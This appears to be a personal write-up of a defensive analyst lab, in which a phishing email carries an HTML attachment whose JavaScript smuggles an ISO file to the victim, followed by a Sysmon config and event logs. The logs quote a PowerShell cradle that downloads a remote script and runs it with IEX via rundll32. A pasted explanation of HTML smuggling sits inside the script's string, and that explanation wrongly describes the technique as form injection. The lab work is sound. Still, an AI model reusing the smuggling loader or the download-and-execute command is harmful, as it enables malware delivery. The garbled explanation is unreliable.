Training for New Analyst

Last updated 1 year ago

To: Fake@maveris.com Subject: =?utf-8?B?TXkgQ29udGFjdHM=?= Date: Tue, 21 Feb 2023 9:04:15 -0600 MIME-Version: 1.0 Content-Type: multipart/related; boundary="Mark=_-683968373-341984186248" X-Priority: 3 This is a multi-part message in MIME format. --Mark=_-683968373-341984186248 Content-Type: multipart/alternative; boundary="Mark=_-683968373-341984186456" --Mark=_-683968373-341984186456 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 SGV5IE1hdmVyaXMgV29ya2VyLA0KIA0KUGxlYXNlIHNlZSBteSBhdHRhY2hlZCBjb250YWN0cyBs aXN0LiBZb3Ugd2lsbCBoYXZlIHRvIG9wZW4gTXktQ29udGFjdHMgZmlsZSBhbmQgY2xpY2sgdG8g aW1wb3J0IG15IGNvbnRhY3RzLg0KIA0KVGhhbmtzIQ== ... <STYLE> pre { white-space: pre-wrap; /* css-3 */ white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */ white-space: -pre-wrap; /* Opera 4-6 */ white-space: -o-pre-wrap; /* Opera 7 */ word-wrap: break-word; /* Internet Explorer 5.5+ */ } </STYLE> <html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" xmlns="http://www.w3.org/TR/REC-html40"><head><meta name=ProgId content=Word.Document><meta name=Generator content="Microsoft Word 15"><meta name=Originator content="Microsoft Word 15"><link rel=File-List href="cid:filelist.xml@01D945DB.DAD496E0"><link rel=themeData href="~~themedata~~"><link rel=colorSchemeMapping href="~~colorschememapping~~"><style></style></head><body lang=EN-US link="#0563C1" vlink="#954F72" style='tab-interval:.5in;word-wrap:break-word'><div class=WordSection1><p class=MsoNormal>Hey <span class=SpellE>Maveris</span> Worker,<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Please see my attached contacts list. You will have to open My-Contacts file and click to import my contacts.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Thanks!<o:p></o:p></p></div></body></html> --Mark=_-683968373-341984186456-- --Mark=_-683968373-341984186248 Content-Type: application/octet-stream; name="=?utf-8?B?TXktQ29udGFjdHMuaHRtbA==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?utf-8?B?TXktQ29udGFjdHMuaHRtbA==?=" My-Contacts.html  <html> <body> <script> function base64ToArrayBuffer(base64) { var binary_string = window.atob(base64); var len = binary_string.length; var bytes = new Uint8Array( len ); for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); } return bytes.buffer; } // 32bit simple reverse shell var file = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTML smuggling is a technique used to bypass security measures by embedding malicious code within seemingly harmless HTML code. Here is a simple algorithm for HTML smuggling: 1. Identify the target website or application that you want to attack. 2. Create a malicious HTML payload that includes the code you want to execute on the target system. 3. Encode the payload using a technique that will allow it to pass through security measures undetected. Common techniques include URL encoding, base64 encoding, and escaping special characters. 4. Identify a vulnerable input field on the target website or application where you can inject your malicious payload. This could be a search field, a contact form, or a comment section. 5. Inject your encoded payload into the vulnerable input field. 6. Submit the form or send the request to the target website or application. 7. When the target system processes the input, it will decode and execute your malicious payload. It's important to note that HTML smuggling is illegal and unethical. It can cause serious harm to individuals and organizations, and can result in legal consequences for the perpetrator. It's important to use your knowledge and skills for ethical purposes and to protect the security of computer systems and the privacy of individuals. '; var data = base64ToArrayBuffer(file); var blob = new Blob([data], {type: 'octet/stream'}); var fileName = 'My-Contacts.iso'; if (window.navigator.msSaveOrOpenBlob) { window.navigator.msSaveOrOpenBlob(blob,fileName); } else { var a = document.createElement('a'); console.log(a); document.body.appendChild(a); a.style = 'display: none'; var url = window.URL.createObjectURL(blob); a.href = url; a.download = fileName; a.click(); window.URL.revokeObjectURL(url); } </script> </body> </html> The name of the Windows executable leveraged to execute malicious code on the system in the context of the "Signed Binary Proxy Execution" technique is "rundll32.exe". The "Signed Binary Proxy Execution" technique is a method of bypassing application whitelisting controls by proxying execution of a signed binary. This technique involves the use of a legitimate signed binary, such as "rundll32.exe", to execute a malicious payload. The attacker can use the "rundll32.exe" binary to load a malicious DLL that is disguised as a legitimate binary. By doing this, the attacker can bypass application whitelisting controls that are designed to block unauthorized binaries from executing on the system. In this technique, the attacker typically modifies the Registry or creates a scheduled task to trigger the execution of the "rundll32.exe" binary with the appropriate parameters to load the malicious DLL. The attacker can also use this technique to bypass other security controls, such as antivirus software, that rely on application whitelisting to block unauthorized binaries from executing on the system. It's important for organizations to be aware of this technique and to implement appropriate security controls to detect and prevent this type of attack. This may include implementing application whitelisting policies that are more restrictive and that include monitoring and logging of system events. Additionally, organizations should regularly update and patch their systems to prevent known vulnerabilities from being exploited. <Sysmon schemaversion="4.50">  <HashAlgorithms>*</HashAlgorithms> <EventFiltering>   <DriverLoad onmatch="exclude"> <Signature condition="contains">microsoft</Signature> <Signature condition="contains">windows</Signature> </DriverLoad>  <ProcessCreate onmatch="exclude">  <CommandLine condition="begin with"> "C:\Windows\system32\wermgr.exe" "-queuereporting_svc" </CommandLine>  <CommandLine condition="begin with">C:\Windows\system32\DllHost.exe /Processid</CommandLine>  <CommandLine condition="begin with">C:\Windows\system32\wbem\wmiprvse.exe -Embedding</CommandLine>  <CommandLine condition="begin with">C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding</CommandLine>  <CommandLine condition="is">C:\Windows\system32\wermgr.exe -upload</CommandLine>  <CommandLine condition="is">C:\Windows\system32\SearchIndexer.exe /Embedding</CommandLine>  <CommandLine condition="is">C:\windows\system32\wermgr.exe -queuereporting</CommandLine>  <CommandLine condition="is">\??\C:\Windows\system32\autochk.exe *</CommandLine>  <CommandLine condition="is">\SystemRoot\System32\smss.exe</CommandLine>  <CommandLine condition="is">C:\Windows\System32\RuntimeBroker.exe -Embedding</CommandLine>  <Image condition="is">C:\Program Files (x86)\Common Files\microsoft shared\ink\TabTip32.exe</Image>  <Image condition="is">C:\Windows\System32\TokenBrokerCookies.exe</Image>  <Image condition="is">C:\Windows\System32\plasrv.exe</Image>  <Image condition="is">C:\Windows\System32\wifitask.exe</Image>  <Image condition="is">C:\Windows\system32\CompatTelRunner.exe</Image>  <Image condition="is">C:\Windows\system32\PrintIsolationHost.exe</Image>  <Image condition="is">C:\Windows\system32\SppExtComObj.Exe</Image>  <Image condition="is">C:\Windows\system32\audiodg.exe</Image>  <Image condition="is">C:\Windows\system32\conhost.exe</Image>  <Image condition="is">C:\Windows\system32\mobsync.exe</Image>  <Image condition="is">C:\Windows\system32\musNotification.exe</Image>  <Image condition="is">C:\Windows\system32\musNotificationUx.exe</Image>  <Image condition="is">C:\Windows\system32\powercfg.exe</Image>  <Image condition="is">C:\Windows\system32\sndVol.exe</Image>  <Image condition="is">C:\Windows\system32\sppsvc.exe</Image>  <Image condition="is">C:\Windows\system32\wbem\WmiApSrv.exe</Image>  <IntegrityLevel condition="is">AppContainer</IntegrityLevel>  <ParentCommandLine condition="begin with">%%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows</ParentCommandLine>  <ParentCommandLine condition="is">C:\windows\system32\wermgr.exe -queuereporting</ParentCommandLine>  <CommandLine condition="is">C:\WINDOWS\system32\devicecensus.exe UserCxt</CommandLine> <CommandLine condition="is">C:\Windows\System32\usocoreworker.exe -Embedding</CommandLine> <ParentImage condition="is">C:\Windows\system32\SearchIndexer.exe</ParentImage>   <CommandLine condition="is">C:\Windows\system32\svchost.exe -k appmodel -s StateRepository</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k appmodel</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k appmodel -p -s tiledatamodelsvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k camera -s FrameServer</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k dcomlaunch -s LSM</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k dcomlaunch -s PlugPlay</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k defragsvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k devicesflow -s DevicesFlowUserSvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k imgsvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localService -s EventSystem</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localService -s bthserv</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localService -s nsi</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localService -s w32Time</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceAndNoImpersonation</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceAndNoImpersonation -p</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted -s Dhcp</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted -s EventLog</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted -s TimeBrokerSvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted -s WFDSConMgrSvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -s BTAGService</CommandLine> <CommandLine condition="is">C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceAndNoImpersonation -s SensrSvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceAndNoImpersonation -p -s SSDPSRV</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceNoNetwork</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -p -s WPDBusEnum</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -p -s fhsvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s DeviceAssociationService</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s NcbService</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s SensorService</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s TabletInputService</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s UmRdpService</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s WPDBusEnum</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -p -s NgcSvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceNetworkRestricted -p -s NgcCtnrSvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localServiceAndNoImpersonation -s SCardSvr</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv</CommandLine> <CommandLine condition="is">C:\Windows\System32\svchost.exe -k netsvcs -p -s SessionEnv</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted -s WdiSystemHost</CommandLine>  <CommandLine condition="is">C:\Windows\System32\svchost.exe -k localSystemNetworkRestricted -p -s WdiSystemHost</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -p -s ncaSvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -s BDESVC</CommandLine>  <CommandLine condition="is">C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -p -s BITS</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -s BITS</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -s CertPropSvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -s DsmSvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -s Gpsvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -s ProfSvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -s SENS</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -s SessionEnv</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -s Themes</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs -s Winmgmt</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k networkService -p -s DoSvc</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k networkService -s Dnscache</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k networkService -s LanmanWorkstation</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k networkService -s NlaSvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k networkService -s TermService</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k networkService</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k networkService -p</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k networkServiceNetworkRestricted</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k rPCSS</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k secsvcs</CommandLine> <CommandLine condition="is">C:\Windows\system32\svchost.exe -k swprv</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k unistackSvcGroup</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k utcsvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k wbioSvcGroup</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k werSvcGroup</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc</CommandLine>  <CommandLine condition="is">C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k wsappx -s ClipSVC</CommandLine>  <CommandLine condition="is">C:\Windows\system32\svchost.exe -k wsappx</CommandLine>  <ParentCommandLine condition="is">C:\Windows\system32\svchost.exe -k netsvcs</ParentCommandLine>  <ParentCommandLine condition="is">C:\Windows\system32\svchost.exe -k localSystemNetworkRestricted</ParentCommandLine>  <CommandLine condition="is">C:\Windows\system32\deviceenroller.exe /c /AutoEnrollMDM</CommandLine>   <CommandLine condition="begin with">"C:\Program Files (x86)\Microsoft\Edge Dev\Application\msedge.exe" --type=</CommandLine>  <CommandLine condition="begin with">C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe</CommandLine>  <CommandLine condition="begin with">C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\Ngen.exe</CommandLine>  <CommandLine condition="begin with">C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe</CommandLine>  <CommandLine condition="begin with">C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe</CommandLine>  <Image condition="is">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe</Image>  <Image condition="is">C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe</Image>  <Image condition="is">C:\Windows\Microsoft.Net\Framework64\v3.0\WPF\PresentationFontCache.exe</Image>  <ParentCommandLine condition="begin with">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe</ParentCommandLine> <ParentImage condition="is">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe</ParentImage>  <ParentImage condition="is">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe</ParentImage>  <ParentImage condition="is">C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe</ParentImage>  <ParentImage condition="is">C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe</ParentImage>   <Image condition="is">C:\Program Files\Microsoft Office\Office16\MSOSYNC.EXE</Image>  <Image condition="is">C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE</Image>  <Image condition="is">C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE</Image>  <Image condition="is">C:\Program Files\Microsoft Office\Office16\msoia.exe</Image>  <Image condition="is">C:\Program Files (x86)\Microsoft Office\root\Office16\officebackgroundtaskhandler.exe</Image>  <Image condition="is">C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe</Image>  <ParentImage condition="is">C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe</ParentImage>  <ParentImage condition="is">C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe</ParentImage>   <Image condition="is">C:\Program Files\Windows Media Player\wmpnscfg.exe</Image>   <CommandLine condition="begin with">"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=</CommandLine>  <CommandLine condition="begin with">"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=</CommandLine>  </ProcessCreate>   <NetworkConnect onmatch="include"> <DestinationPort>443</DestinationPort> <DestinationPort>80</DestinationPort> </NetworkConnect> <NetworkConnect onmatch="exclude"> <Image condition="end with">iexplore.exe</Image> </NetworkConnect> <FileCreate onmatch="exclude">  <Image condition="is">C:\Program Files (x86)\EMET 5.5\EMET_Service.exe</Image>   <Image condition="is">C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe</Image>   <Image condition="is">C:\Windows\system32\smss.exe</Image>  <Image condition="is">C:\Windows\system32\CompatTelRunner.exe</Image>  <Image condition="is">\\?\C:\Windows\system32\wbem\WMIADAP.EXE</Image>  <Image condition="is">C:\Windows\system32\mobsync.exe</Image>  <TargetFilename condition="begin with">C:\Windows\system32\DriverStore\Temp\</TargetFilename>  <TargetFilename condition="begin with">C:\Windows\system32\wbem\Performance\</TargetFilename>  <TargetFilename condition="begin with">C:\Windows\Installer\</TargetFilename>   <TargetFilename condition="begin with">C:\$WINDOWS.~BT\Sources\</TargetFilename>  <Image condition="begin with">C:\Windows\winsxs\amd64_microsoft-windows</Image>  <Image condition="is">C:\WINDOWS\system32\svchost.exe</Image>  </FileCreate> </EventFiltering> </Sysmon> PS C:\Users\Maveris> Get-ItemProperty -Path "C:\Windows\System32\rundll32.exe" | Select-Object -Property * PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Windows\System32\rundll32.exe PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Windows\System32 PSChildName : rundll32.exe PSDrive : C PSProvider : Microsoft.PowerShell.Core\FileSystem Mode : -a---- VersionInfo : File: C:\Windows\System32\rundll32.exe InternalName: rundll OriginalFilename: RUNDLL32.EXE.MUI FileVersion: 10.0.19041.1 (WinBuild.160101.0800) FileDescription: Windows host process (Rundll32) Product: Microsoft® Windows® Operating System ProductVersion: 10.0.19041.1 Debug: False Patched: False PreRelease: False PrivateBuild: False SpecialBuild: False Language: English (United States) BaseName : rundll32 Target : {C:\Windows\WinSxS\amd64_microsoft-windows-rundll32_31bf3856ad364e35_10.0.19041.746_none_b 5fe9c5c09b9d7a9\rundll32.exe} LinkType : HardLink Name : rundll32.exe Length : 71680 DirectoryName : C:\Windows\System32 Directory : C:\Windows\System32 IsReadOnly : False Exists : True FullName : C:\Windows\System32\rundll32.exe Extension : .exe CreationTime : 9/7/2022 8:07:15 PM CreationTimeUtc : 9/8/2022 3:07:15 AM LastAccessTime : 2/23/2023 12:05:43 PM LastAccessTimeUtc : 2/23/2023 8:05:43 PM LastWriteTime : 9/7/2022 8:07:15 PM LastWriteTimeUtc : 9/8/2022 3:07:15 AM Attributes : Archive My-Contacts.iso PS C:\Windows\system32> Get-EventLog -LogName Security -InstanceId 4688 | Where-Object { $_.Message -match "rundll32.exe" -or $_.Message -match "My-Contacts.iso" } PS C:\Windows\system32> find iso EventData RuleName - UtcTime 2023-02-22 02:32:20.377 ProcessGuid {c10a41fe-7e59-63f5-f601-000000000700} ProcessId 4344 Image C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.2300_none_7e14edbc7c88b7d5\TiWorker.exe TargetFilename C:\Windows\CbsTemp\31016549_2909085884\Windows10.0-KB5022834-x64.cab\amd64_microsoft.windows.isolationautomation_6595b64144ccf1df_1.0.19041.746_none_7b8e643649cc7ccc CreationUtcTime 2023-02-22 02:32:20.377 User NT AUTHORITY\SYSTEM https://redcanary.com/threat-detection-report/techniques/rundll32/ Event Viewer Windows Powershell (ID 800) powershell (New-Object System.Net.WebClient).DownloadString('https://github.com/P4BNS/THM/raw/main/ReflectiveLoad.ps1') | IEX DetailSequence=1 DetailTotal=1 SequenceNumber=19 UserId=DESKTOP-9DF6QBQ\Maveris HostName=Default Host HostVersion=5.1.19041.1682 HostId=3289d488-8c54-427e-83f4-954cfce4b394 HostApplication=C:\Windows\System32\rundll32.exe Test-Loader.dll Runner EngineVersion=5.1.19041.1682 RunspaceId=17138aca-9f68-4fad-aa3c-a8e0391cd1d1 PipelineId=1 ScriptName= CommandLine=powershell (New-Object System.Net.WebClient).DownloadString Registry Started ProviderName=Registry NewProviderState=Started SequenceNumber=1 HostName=ConsoleHost HostVersion=5.1.19041.1682 HostId=9df4c43d-85b8-4748-86d4-1da4fb99b531 HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c Invoke-WebRequest -Uri https://raw.githubusercontent.com/P4BNS/THM/main/youve-been-hacked.jpeg -OutFile C:\Users\Maveris\AppData\Local\Temp\test.jpg EngineVersion= RunspaceId= PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine= I see need to download it C:\Windows\System32\rundll32.exe Test-Loader.dll Runner 1234567891234567890 but not works let's see again event viewer the right answer is Windows\System32\rundll32.exe Test-Loader.dll Runner it took me more than half an hour

Log into VM to test